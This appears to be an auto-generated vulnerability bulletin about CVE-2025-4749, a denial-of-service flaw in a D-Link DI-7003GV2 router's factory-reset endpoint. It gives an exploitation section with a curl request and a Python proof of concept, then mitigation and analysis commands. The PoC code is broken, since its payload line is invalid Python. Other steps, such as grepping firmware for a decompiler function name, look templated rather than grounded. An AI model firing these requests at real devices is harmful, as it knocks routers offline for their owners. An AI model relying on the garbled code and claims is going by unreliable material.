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How CVE-2025-4749 Works
The vulnerability resides in the `sub_4983B0` function within /H5/backup.asp?opt=reset, which handles factory reset operations. An unauthenticated remote attacker can send a crafted HTTP request to this endpoint, triggering a memory corruption issue. This leads to a denial of service (DoS) condition, crashing the device and requiring manual reboot. The flaw stems from improper input validation when processing reset commands, allowing malformed data to disrupt system stability.
DailyCVE Form
Platform: D-Link DI-7003GV2
Version: 24.04.18D1
Vulnerability: DoS
Severity: Critical
Date: 06/03/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation
1. Craft Malicious Request:
curl -X POST "http://<TARGET_IP>/H5/backup.asp?opt=reset" -d "malformed_payload"
2. Python PoC:
import requests
target = "http://192.168.1.1/H5/backup.asp"
payload = {"opt": "reset", "data": "A" 1000}
requests.post(target, data=payload)
Mitigation
- Temporary Fix: Block access to `/H5/backup.asp` via firewall:
iptables -A INPUT -p tcp --dport 80 -m string --string "/H5/backup.asp" --algo bm -j DROP
2. Firmware Check:
grep -r "sub_4983B0" /firmware_dir
3. Log Monitoring:
tail -f /var/log/httpd.log | grep "backup.asp"
Analysis
- Memory Dump: Use GDB to analyze crash:
gdb -q /usr/sbin/httpd -c /tmp/crash_dump
- Traffic Capture:
tcpdump -i eth0 'port 80 and host <TARGET_IP>' -w exploit.pcap
Patch Verification
After update, confirm patched function:
strings /usr/bin/httpd | grep sub_4983B0
References
- CVE Database: https://nvd.nist.gov/vuln/detail/CVE-2025-4749
- Vendor Advisory: Awaiting D-Link release.
No further commentary.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
